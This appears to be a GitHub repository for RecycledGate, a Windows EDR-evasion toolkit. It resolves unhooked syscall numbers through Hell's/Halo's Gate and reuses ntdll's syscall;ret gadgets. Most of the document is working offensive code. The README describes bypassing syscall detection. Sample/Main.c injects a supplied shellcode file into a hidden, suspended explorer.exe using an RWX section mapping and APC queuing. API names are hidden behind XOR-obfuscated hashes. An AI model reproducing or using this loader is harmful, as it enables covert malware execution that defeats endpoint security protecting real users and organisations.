├── Sample ├── testshellcode │ └── HelloWorld.bin ├── Sample.vcxproj.user ├── Defines.h ├── Sample.sln ├── Sample.vcxproj.filters ├── Main.c └── Sample.vcxproj ├── HashGenerator ├── HashGenerator.vcxproj.user ├── Main.c ├── HashGenerator.vcxproj.filters ├── HashGenerator.sln └── HashGenerator.vcxproj ├── src ├── GateTrampolin.asm ├── RecycledGate.h └── RecycledGate.c └── README.md /Sample/testshellcode/HelloWorld.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thefLink/RecycledGate/HEAD/Sample/testshellcode/HelloWorld.bin -------------------------------------------------------------------------------- /Sample/Sample.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /HashGenerator/HashGenerator.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Sample/Defines.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "windows.h" 3 | 4 | typedef VOID(KNORMAL_ROUTINE) ( 5 | IN PVOID NormalContext, 6 | IN PVOID SystemArgument1, 7 | IN PVOID SystemArgument2); 8 | 9 | typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; 10 | -------------------------------------------------------------------------------- /src/GateTrampolin.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | PrepareSyscall PROC 4 | 5 | xor r11, r11 6 | xor r10, r10 7 | mov r11, rcx 8 | mov r10, rdx 9 | ret 10 | 11 | 12 | PrepareSyscall ENDP 13 | 14 | DoSyscall Proc 15 | 16 | push r10 17 | xor rax, rax 18 | mov r10, rcx 19 | mov eax, r11d 20 | ret 21 | 22 | DoSyscall ENDP 23 | 24 | end 25 | -------------------------------------------------------------------------------- /HashGenerator/Main.c: -------------------------------------------------------------------------------- 1 | 2 | #include "windows.h" 3 | #include "stdio.h" 4 | 5 | unsigned long djb2(unsigned char* str) 6 | { 7 | unsigned long hash = 5381; 8 | int c; 9 | 10 | while (c = *str++) 11 | hash = ((hash << 5) + hash) + c; 12 | 13 | return hash; 14 | } 15 | 16 | 17 | unsigned long xor_hash(unsigned long hash, unsigned long key) { 18 | return hash ^ key; 19 | } 20 | 21 | int main(int argc, char** argv) { 22 | 23 | if (argc < 2) 24 | return 0; 25 | 26 | unsigned char* name = (unsigned char*)argv[1]; 27 | unsigned long hash = djb2(name); 28 | unsigned long hash_crypted = xor_hash(hash, 0x41424344); 29 | 30 | printf("%x\n", hash); 31 | printf("%x\n", hash_crypted); 32 | 33 | 34 | return 0; 35 | } 36 | 37 | -------------------------------------------------------------------------------- /HashGenerator/HashGenerator.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /Sample/Sample.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29920.165 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Sample", "Sample.vcxproj", "{E417A056-9215-4325-9629-C85464402C75}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {E417A056-9215-4325-9629-C85464402C75}.Debug|x64.ActiveCfg = Debug|x64 17 | {E417A056-9215-4325-9629-C85464402C75}.Debug|x64.Build.0 = Debug|x64 18 | {E417A056-9215-4325-9629-C85464402C75}.Debug|x86.ActiveCfg = Debug|Win32 19 | {E417A056-9215-4325-9629-C85464402C75}.Debug|x86.Build.0 = Debug|Win32 20 | {E417A056-9215-4325-9629-C85464402C75}.Release|x64.ActiveCfg = Release|x64 21 | {E417A056-9215-4325-9629-C85464402C75}.Release|x64.Build.0 = Release|x64 22 | {E417A056-9215-4325-9629-C85464402C75}.Release|x86.ActiveCfg = Release|Win32 23 | {E417A056-9215-4325-9629-C85464402C75}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {6BC8154B-26FE-4B3B-86C6-E0C7E79B2FB4} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /HashGenerator/HashGenerator.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29920.165 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HashGenerator", "HashGenerator.vcxproj", "{8CAAF7E2-7269-4653-87A2-33B20B5EAECA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Debug|x64.ActiveCfg = Debug|x64 17 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Debug|x64.Build.0 = Debug|x64 18 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Debug|x86.ActiveCfg = Debug|Win32 19 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Debug|x86.Build.0 = Debug|Win32 20 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Release|x64.ActiveCfg = Release|x64 21 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Release|x64.Build.0 = Release|x64 22 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Release|x86.ActiveCfg = Release|Win32 23 | {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {D0590FC5-3F51-4BE2-AF10-3A8C146B274E} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /Sample/Sample.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | 31 | 32 | Source Files 33 | 34 | 35 | Source Files 36 | 37 | 38 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RecycledGate 2 | 3 | This is just another implementation of Hellsgate + Halosgate/Tartarusgate. 4 | 5 | However, this implementation makes sure that **all system calls still go through ntdll.dll** to avoid the usage of direct systemcalls. 6 | To do so, I parse the ntdll for nonhooked syscall-stubs and re-use existing ```syscall;ret``` instructions - thus the name of this project. 7 | 8 | This probably bypasses some EDR trying to detect abnormal systemcalls. 9 | I have verified the sample program in this repository against [syscall-detect](https://github.com/jackullrich/syscall-detect) by [@winternl_t](https://twitter.com/winternl_t) which uses the [HookingNirvana](https://github.com/ionescu007/HookingNirvana/blob/master/Esoteric%20Hooks.pdf) technique to detect abnormal systemcalls. 10 | 11 | ``` 12 | .\Sample.exe HelloWorld.bin 13 | [SYSCALL-DETECT] Console logging started... 14 | [SYSCALL-DETECT] ntdll BaseAddress: 0x368508928 15 | [SYSCALL-DETECT] win32u BaseAddress: 0x0 16 | [*] Resolving Syscall: 916c6394 17 | Found syscall using Halos gate 18 | Found syscall; ret instruction 19 | Syscall nr: 74 20 | Gate: 00007FF9160100E2 21 | [SNIP] 22 | [*] Resolving Syscall: 8a4e6274 23 | Found syscall using Halos gate 24 | Found syscall; ret instruction 25 | Syscall nr: 188 26 | Gate: 00007FF916010F12 27 | [*] Created section: 0x00000000000000B4 28 | [*] Mapped section locally: 0x000001B244E50000 29 | [*] Mapped section remote: 0x0000000000FE0000 30 | [*] NtQueueApcThread successfull 31 | [*] Resumed thread 32 | ``` 33 | 34 | The sample program can be found in the **sample** folder 35 | 36 | ## Usage 37 | Here is a snippet, which should be self-explanatory. 38 | ```c 39 | Syscall sysNtCreateSection = { 0x00 }; 40 | NTSTATUS ntStatus; 41 | 42 | dwSuccess = getSyscall(0x916c6394, &sysNtCreateSection); 43 | if (dwSuccess == FAIL) 44 | goto exit; 45 | 46 | PrepareSyscall(sysNtCreateSection.dwSyscallNr, sysNtCreateSection.pRecycledGate); 47 | ntStatus = DoSyscall(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sizeBuffer, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); 48 | if (!NT_SUCCESS(ntStatus)) { 49 | printf("[-] Failed to create section\n"); 50 | goto exit; 51 | } 52 | 53 | ``` 54 | **Note**: 55 | * No lines of code should exist between the call to **PrepareSyscall** and **DoSyscall** 56 | * The hash algorithm used is djb2. All hashes must be encrypted with the key **0x41424344**. You can use the Hashgenerator in this repository 57 | 58 | ## Credits 59 | * [Sektor7](https://sektor7.net) for inventing and documenting [Halosgate](https://blog.sektor7.net/#!res/2021/halosgate.md) on which this project is based 60 | * [Sektor7](https://sektor7.net) for the amazing [windows evasion class](https://institute.sektor7.net/view/courses/rto-win-evasion/) 61 | * [@Am0nsec](https://twitter.com/am0nsec?lang=en) and @RtlMateusz for the [original Hellsgate implementation](https://github.com/am0nsec/HellsGate) 62 | * [@0xBoku](https://twitter.com/0xBoku) for inspiration and his [Halosgate implementation](https://github.com/boku7/AsmHalosGate/) 63 | * [@trickster012](https://twitter.com/trickster012) for the implementation of [Tartarusgate](https://github.com/trickster0/TartarusGate) 64 | * [@winternl_t](https://twitter.com/winternl_t) for the amazing [blogpost on detection of direct syscalls](https://winternl.com/detecting-manual-syscalls-from-user-mode/) 65 | -------------------------------------------------------------------------------- /src/RecycledGate.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #pragma once 3 | 4 | #include "windows.h" 5 | 6 | #ifdef _DEBUG 7 | #include "stdio.h" 8 | #endif 9 | 10 | #define FAIL 0 11 | #define SUCCESS 1 12 | 13 | #define HASH_KEY 0x41424344 14 | #define SYS_STUB_SIZE 32 15 | 16 | #define UP -32 17 | #define DOWN 32 18 | 19 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 20 | 21 | typedef struct { 22 | 23 | DWORD dwSyscallNr; 24 | PVOID pRecycledGate; 25 | 26 | } Syscall; 27 | 28 | typedef struct _UNICODE_STR { 29 | USHORT Length; 30 | USHORT MaximumLength; 31 | PWSTR pBuffer; 32 | } UNICODE_STR, * PUNICODE_STR; 33 | 34 | typedef struct _OBJECT_ATTRIBUTES { 35 | ULONG Length; 36 | HANDLE RootDirectory; 37 | PUNICODE_STR ObjectName; 38 | ULONG Attributes; 39 | PVOID SecurityDescriptor; 40 | PVOID SecurityQualityOfService; 41 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 42 | 43 | typedef struct _PEB_LDR_DATA 44 | { 45 | DWORD dwLength; 46 | DWORD dwInitialized; 47 | LPVOID lpSsHandle; 48 | LIST_ENTRY InLoadOrderModuleList; 49 | LIST_ENTRY InMemoryOrderModuleList; 50 | LIST_ENTRY InInitializationOrderModuleList; 51 | LPVOID lpEntryInProgress; 52 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 53 | 54 | typedef struct _LDR_DATA_TABLE_ENTRY 55 | { 56 | LIST_ENTRY InMemoryOrderModuleList; 57 | LIST_ENTRY InInitializationOrderModuleList; 58 | PVOID DllBase; 59 | PVOID EntryPoint; 60 | ULONG SizeOfImage; 61 | UNICODE_STR FullDllName; 62 | UNICODE_STR BaseDllName; 63 | ULONG Flags; 64 | SHORT LoadCount; 65 | SHORT TlsIndex; 66 | LIST_ENTRY HashTableEntry; 67 | ULONG TimeDateStamp; 68 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 69 | 70 | typedef struct _PEB_FREE_BLOCK 71 | { 72 | struct _PEB_FREE_BLOCK* pNext; 73 | DWORD dwSize; 74 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 75 | 76 | typedef struct _PEB 77 | { 78 | BYTE bInheritedAddressSpace; 79 | BYTE bReadImageFileExecOptions; 80 | BYTE bBeingDebugged; 81 | BYTE bSpareBool; 82 | LPVOID lpMutant; 83 | LPVOID lpImageBaseAddress; 84 | PPEB_LDR_DATA pLdr; 85 | LPVOID lpProcessParameters; 86 | LPVOID lpSubSystemData; 87 | LPVOID lpProcessHeap; 88 | PRTL_CRITICAL_SECTION pFastPebLock; 89 | LPVOID lpFastPebLockRoutine; 90 | LPVOID lpFastPebUnlockRoutine; 91 | DWORD dwEnvironmentUpdateCount; 92 | LPVOID lpKernelCallbackTable; 93 | DWORD dwSystemReserved; 94 | DWORD dwAtlThunkSListPtr32; 95 | PPEB_FREE_BLOCK pFreeList; 96 | DWORD dwTlsExpansionCounter; 97 | LPVOID lpTlsBitmap; 98 | DWORD dwTlsBitmapBits[2]; 99 | LPVOID lpReadOnlySharedMemoryBase; 100 | LPVOID lpReadOnlySharedMemoryHeap; 101 | LPVOID lpReadOnlyStaticServerData; 102 | LPVOID lpAnsiCodePageData; 103 | LPVOID lpOemCodePageData; 104 | LPVOID lpUnicodeCaseTableData; 105 | DWORD dwNumberOfProcessors; 106 | DWORD dwNtGlobalFlag; 107 | LARGE_INTEGER liCriticalSectionTimeout; 108 | DWORD dwHeapSegmentReserve; 109 | DWORD dwHeapSegmentCommit; 110 | DWORD dwHeapDeCommitTotalFreeThreshold; 111 | DWORD dwHeapDeCommitFreeBlockThreshold; 112 | DWORD dwNumberOfHeaps; 113 | DWORD dwMaximumNumberOfHeaps; 114 | LPVOID lpProcessHeaps; 115 | LPVOID lpGdiSharedHandleTable; 116 | LPVOID lpProcessStarterHelper; 117 | DWORD dwGdiDCAttributeList; 118 | LPVOID lpLoaderLock; 119 | DWORD dwOSMajorVersion; 120 | DWORD dwOSMinorVersion; 121 | WORD wOSBuildNumber; 122 | WORD wOSCSDVersion; 123 | DWORD dwOSPlatformId; 124 | DWORD dwImageSubsystem; 125 | DWORD dwImageSubsystemMajorVersion; 126 | DWORD dwImageSubsystemMinorVersion; 127 | DWORD dwImageProcessAffinityMask; 128 | DWORD dwGdiHandleBuffer[34]; 129 | LPVOID lpPostProcessInitRoutine; 130 | LPVOID lpTlsExpansionBitmap; 131 | DWORD dwTlsExpansionBitmapBits[32]; 132 | DWORD dwSessionId; 133 | ULARGE_INTEGER liAppCompatFlags; 134 | ULARGE_INTEGER liAppCompatFlagsUser; 135 | LPVOID lppShimData; 136 | LPVOID lpAppCompatInfo; 137 | UNICODE_STR usCSDVersion; 138 | LPVOID lpActivationContextData; 139 | LPVOID lpProcessAssemblyStorageMap; 140 | LPVOID lpSystemDefaultActivationContextData; 141 | LPVOID lpSystemAssemblyStorageMap; 142 | DWORD dwMinimumStackCommit; 143 | } PEB, * PPEB; 144 | 145 | PVOID findNtDll(void); 146 | WCHAR* toLower(WCHAR* str); 147 | 148 | extern void PrepareSyscall(DWORD dwSycallNr, PVOID dw64Gate); 149 | extern DoSyscall(); 150 | 151 | PVOID findNtDll(void); 152 | DWORD getSyscall(DWORD crypted_hash, Syscall* pSyscall); 153 | 154 | unsigned long djb2_unicode(const wchar_t* str); 155 | unsigned long djb2(unsigned char* str); 156 | unsigned long xor_hash(unsigned long hash); -------------------------------------------------------------------------------- /Sample/Main.c: -------------------------------------------------------------------------------- 1 | #include "windows.h" 2 | 3 | #include "Defines.h" 4 | #include "../src/RecycledGate.h" 5 | 6 | #include "stdio.h" 7 | 8 | extern void PrepareSyscall(DWORD dwSycallNr, PVOID dw64Gate); 9 | extern DoSyscall(); 10 | 11 | PVOID findNtDll(void); 12 | DWORD getSyscall(DWORD crypted_hash, Syscall* pSyscall); 13 | 14 | int 15 | main(int argc, char** argv) { 16 | 17 | 18 | DWORD dwSuccess = FAIL, dwRead = 0; 19 | NTSTATUS ntStatus = 0; 20 | SIZE_T sizeBuffer = 0; 21 | 22 | Syscall sysNtCreateSection = { 0x00 }, sysNtMapViewOfSection = { 0x00 }, sysNtQueueApcThread = { 0x00 }, sysNtResumeThread = { 0x00 }, sysNtCreateThreadEx = { 0x00 }; 23 | HANDLE hSection = NULL, hFile = NULL; 24 | PVOID pViewLocal = NULL, pViewRemote = NULL, pSH = NULL; 25 | 26 | STARTUPINFOA si = { 0x00 }; 27 | PROCESS_INFORMATION pi = { 0x00 }; 28 | 29 | if (argc < 2) { 30 | printf("%s shellcode.bin\n", argv[0]); 31 | goto exit; 32 | } 33 | 34 | dwSuccess = getSyscall(0x916c6394, &sysNtCreateSection); 35 | if (dwSuccess == FAIL) 36 | goto exit; 37 | 38 | dwSuccess = getSyscall(0x625d5a2e, &sysNtMapViewOfSection); 39 | if (dwSuccess == FAIL) 40 | goto exit; 41 | 42 | dwSuccess = getSyscall(0x9523617c, &sysNtQueueApcThread); 43 | if (dwSuccess == FAIL) 44 | goto exit; 45 | 46 | dwSuccess = getSyscall(0x6d397e74, &sysNtResumeThread); 47 | if (dwSuccess == FAIL) 48 | goto exit; 49 | 50 | dwSuccess = getSyscall(0x8a4e6274, &sysNtCreateThreadEx); 51 | if (dwSuccess == FAIL) 52 | goto exit; 53 | 54 | hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 55 | if (hFile == INVALID_HANDLE_VALUE) { 56 | printf("[-] Failed to open: %s\n", argv[1]); 57 | goto exit; 58 | } 59 | 60 | sizeBuffer = GetFileSize(hFile, NULL); 61 | if (sizeBuffer == 0) { 62 | printf("[-] File is empty?\n"); 63 | goto exit; 64 | } 65 | 66 | pSH = VirtualAlloc(0, sizeBuffer, MEM_COMMIT, PAGE_READWRITE); 67 | if (pSH == NULL) { 68 | printf("Out of memory o.0\n"); 69 | goto exit; 70 | } 71 | 72 | dwSuccess = ReadFile(hFile, pSH, (DWORD)sizeBuffer, &dwRead, NULL); 73 | if (dwSuccess == 0) { 74 | printf("[*] Failed to read\n"); 75 | goto exit; 76 | } 77 | 78 | si.cb = sizeof(si); 79 | si.dwFlags = STARTF_USESHOWWINDOW; 80 | si.wShowWindow = SW_HIDE; 81 | si.dwFlags |= STARTF_USESTDHANDLES; 82 | 83 | dwSuccess = CreateProcessA("C:\\Windows\\explorer.exe", NULL, 0, 0, FALSE, CREATE_SUSPENDED, 0, 0, &si, &pi); 84 | if (dwSuccess == FAIL) 85 | goto exit; 86 | 87 | PrepareSyscall(sysNtCreateSection.dwSyscallNr, sysNtCreateSection.pRecycledGate); 88 | ntStatus = DoSyscall(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sizeBuffer, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); 89 | if (!NT_SUCCESS(ntStatus)) { 90 | printf("[-] Failed to create section\n"); 91 | goto exit; 92 | } 93 | printf("[*] Created section: 0x%p\n", hSection); 94 | 95 | PrepareSyscall(sysNtMapViewOfSection.dwSyscallNr, sysNtMapViewOfSection.pRecycledGate); 96 | ntStatus = DoSyscall(hSection, GetCurrentProcess(), &pViewLocal, 0, 0, NULL, (PLARGE_INTEGER)&sizeBuffer, 2, 0, PAGE_READWRITE); 97 | if (!NT_SUCCESS(ntStatus)) { 98 | printf("[-] Failed to map view of section locally\n"); 99 | goto exit; 100 | } 101 | printf("[*] Mapped section locally: 0x%p\n", pViewLocal); 102 | 103 | PrepareSyscall(sysNtMapViewOfSection.dwSyscallNr, sysNtMapViewOfSection.pRecycledGate); 104 | ntStatus = DoSyscall(hSection, pi.hProcess, &pViewRemote, 0, 0, NULL, &sizeBuffer, 2, 0, PAGE_EXECUTE_READWRITE); 105 | if (!NT_SUCCESS(ntStatus)) { 106 | printf("[-] Failed to map view of section remotely\n"); 107 | goto exit; 108 | } 109 | printf("[*] Mapped section remote: 0x%p\n", pViewRemote); 110 | 111 | for (int i = 0; i < sizeBuffer; i++) 112 | *((PBYTE)pViewLocal + i) = *((PBYTE)pSH + i); 113 | 114 | /*HANDLE hHostThread = INVALID_HANDLE_VALUE; 115 | PrepareSyscall(sysNtCreateThreadEx.dwSyscallNr, sysNtCreateThreadEx.pRecycledGate); 116 | ntStatus = DoSyscall(&hHostThread, 0x1FFFFF, NULL, (HANDLE)pi.hProcess, (LPTHREAD_START_ROUTINE)pViewRemote, NULL, FALSE, NULL, NULL, NULL, NULL); 117 | 118 | printf("now doing"); 119 | getchar();*/ 120 | 121 | PrepareSyscall(sysNtQueueApcThread.dwSyscallNr, sysNtQueueApcThread.pRecycledGate); 122 | ntStatus = DoSyscall(pi.hThread, (PKNORMAL_ROUTINE)pViewRemote, pViewRemote, NULL, NULL); 123 | if (!NT_SUCCESS(ntStatus)) { 124 | printf("[-] Failed to call NtQueueApcThread\n"); 125 | goto exit; 126 | } 127 | printf("[*] NtQueueApcThread successfull\n"); 128 | 129 | 130 | PrepareSyscall(sysNtResumeThread.dwSyscallNr, sysNtResumeThread.pRecycledGate); 131 | ntStatus = DoSyscall(pi.hThread, NULL); 132 | if (!NT_SUCCESS(ntStatus)) { 133 | printf("[-] Failed to resume thread\n"); 134 | goto exit; 135 | } 136 | printf("[*] Resumed thread\n"); 137 | 138 | 139 | dwSuccess = SUCCESS; 140 | 141 | exit: 142 | 143 | if (pi.hProcess) 144 | CloseHandle(pi.hProcess); 145 | 146 | if (pi.hThread) 147 | CloseHandle(pi.hThread); 148 | 149 | return dwSuccess; 150 | 151 | } 152 | 153 | -------------------------------------------------------------------------------- /src/RecycledGate.c: -------------------------------------------------------------------------------- 1 | #include "RecycledGate.h" 2 | 3 | DWORD getSyscall(DWORD dwCryptedHash, Syscall* pSyscall) { 4 | 5 | PIMAGE_DOS_HEADER pDosHdr = NULL; 6 | PIMAGE_NT_HEADERS pNtHdrs = NULL; 7 | PIMAGE_EXPORT_DIRECTORY pExportDir = NULL; 8 | 9 | PVOID pGate = NULL, pNtdllBase = NULL, pStub = NULL; 10 | PDWORD pdwAddrOfNames = NULL, pdwAddrOfFunctions = NULL; 11 | PWORD pwAddrOfNameOrdinales = NULL; 12 | DWORD dwSyscallNr = 0, dwSuccess = FAIL; 13 | WORD wIdxStub = 0, wIdxfName = 0; 14 | PCHAR pFunctionName = NULL; 15 | BOOL bHooked = FALSE; 16 | 17 | #ifdef _DEBUG 18 | printf("[*] Resolving Syscall: %x\n", dwCryptedHash); 19 | #endif 20 | 21 | pNtdllBase = findNtDll(); 22 | if (pNtdllBase == NULL) 23 | goto exit; 24 | 25 | pDosHdr = (PIMAGE_DOS_HEADER)pNtdllBase; 26 | pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pNtdllBase + pDosHdr->e_lfanew); 27 | pExportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pNtdllBase + pNtHdrs->OptionalHeader.DataDirectory[0].VirtualAddress); 28 | 29 | pdwAddrOfFunctions = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfFunctions); 30 | pdwAddrOfNames = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNames); 31 | pwAddrOfNameOrdinales = (PWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNameOrdinals); 32 | 33 | for (wIdxfName = 0; wIdxfName < pExportDir->NumberOfNames; wIdxfName++) { 34 | 35 | pFunctionName = (PCHAR)((PBYTE)pNtdllBase + pdwAddrOfNames[wIdxfName]); 36 | pStub = (PVOID)((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[wIdxfName]]); 37 | 38 | if (djb2(pFunctionName) == xor_hash(dwCryptedHash)) 39 | break; 40 | 41 | } 42 | 43 | if (pStub == NULL) 44 | goto exit; 45 | 46 | for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++) { 47 | 48 | if (*((PBYTE)pStub + wIdxStub) == 0xe9) { // This syscall stub is hooked 49 | bHooked = TRUE; 50 | break; 51 | } 52 | 53 | if (*((PBYTE)pStub + wIdxStub) == 0xc3) // Too far 54 | goto exit; 55 | 56 | if (*((PBYTE)pStub + wIdxStub) == 0x4c && *((PBYTE)pStub + wIdxStub + 1) == 0x8b && *((PBYTE)pStub + wIdxStub + 2) == 0xd1 && 57 | *((PBYTE)pStub + wIdxStub + 3) == 0xb8 && *((PBYTE)pStub + wIdxStub + 6) == 0x00 && *((PBYTE)pStub + wIdxStub + 7) == 0x00) { 58 | 59 | BYTE low = *((PBYTE)pStub + 4 + wIdxStub); 60 | BYTE high = *((PBYTE)pStub + 5 + wIdxStub); 61 | 62 | dwSyscallNr = (high << 8) | low; 63 | 64 | #ifdef _DEBUG 65 | printf("\tFound syscall using Hells Gate\n"); 66 | #endif 67 | 68 | break; 69 | 70 | } 71 | } 72 | 73 | if (bHooked) { // Check syscalls around our hooked syscall 74 | 75 | 76 | for (wIdxfName = 1; wIdxfName <= pExportDir->NumberOfFunctions; wIdxfName++) { 77 | if ((PBYTE)pStub + wIdxfName * DOWN < ((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[pExportDir->NumberOfFunctions - 1]])) { 78 | if ( 79 | *((PBYTE)pStub + wIdxfName * DOWN) == 0x4c 80 | && *((PBYTE)pStub + 1 + wIdxfName * DOWN) == 0x8b 81 | && *((PBYTE)pStub + 2 + wIdxfName * DOWN) == 0xd1 82 | && *((PBYTE)pStub + 3 + wIdxfName * DOWN) == 0xb8 83 | && *((PBYTE)pStub + 6 + wIdxfName * DOWN) == 0x00 84 | && *((PBYTE)pStub + 7 + wIdxfName * DOWN) == 0x00) { 85 | 86 | BYTE high = *((PBYTE)pStub + 5 + wIdxfName * DOWN); 87 | BYTE low = *((PBYTE)pStub + 4 + wIdxfName * DOWN); 88 | dwSyscallNr = (high << 8) | low - wIdxfName; 89 | 90 | pStub = (PVOID)((PBYTE)pStub + wIdxfName * DOWN); 91 | 92 | break; 93 | 94 | } 95 | } 96 | 97 | if ((PBYTE)pStub + wIdxfName * UP > ((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[0]])) { 98 | 99 | if (*((PBYTE)pStub + wIdxfName * UP) == 0x4c 100 | && *((PBYTE)pStub + 1 + wIdxfName * UP) == 0x8b 101 | && *((PBYTE)pStub + 2 + wIdxfName * UP) == 0xd1 102 | && *((PBYTE)pStub + 3 + wIdxfName * UP) == 0xb8 103 | && *((PBYTE)pStub + 6 + wIdxfName * UP) == 0x00 104 | && *((PBYTE)pStub + 7 + wIdxfName * UP) == 0x00) { 105 | 106 | BYTE high = *((PBYTE)pStub + 5 + wIdxfName * UP); 107 | BYTE low = *((PBYTE)pStub + 4 + wIdxfName * UP); 108 | dwSyscallNr = (high << 8) | low + wIdxfName; 109 | 110 | pStub = (PVOID)((PBYTE)pStub + wIdxfName * UP); 111 | 112 | break; 113 | 114 | } 115 | } 116 | } 117 | 118 | #ifdef _DEBUG 119 | printf("\tFound syscall using Halos gate\n"); 120 | #endif 121 | 122 | } 123 | 124 | if (pStub && dwSyscallNr) { // Last step: Search for syscall ; ret to use directly 125 | for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++) { 126 | if (*((PBYTE)pStub + wIdxStub) == 0x0f && *((PBYTE)pStub + wIdxStub + 1) == 0x05 && *((PBYTE)pStub + wIdxStub + 2) == 0xc3) { // syscall; ret - sequence? 127 | pGate = (LPVOID)((PBYTE)pStub + wIdxStub); 128 | break; 129 | } 130 | } 131 | } 132 | 133 | #ifdef _DEBUG 134 | printf("\tFound syscall; ret instruction\n"); 135 | #endif 136 | 137 | if (pGate == NULL || dwSyscallNr == 0x00) 138 | goto exit; 139 | 140 | pSyscall->pRecycledGate = pGate; 141 | pSyscall->dwSyscallNr = dwSyscallNr; 142 | 143 | #ifdef _DEBUG 144 | printf("\tSyscall nr: %d\n", dwSyscallNr); 145 | printf("\tGate: %p\n", pGate); 146 | #endif 147 | 148 | dwSuccess = SUCCESS; 149 | 150 | exit: 151 | 152 | return dwSuccess; 153 | 154 | } 155 | 156 | 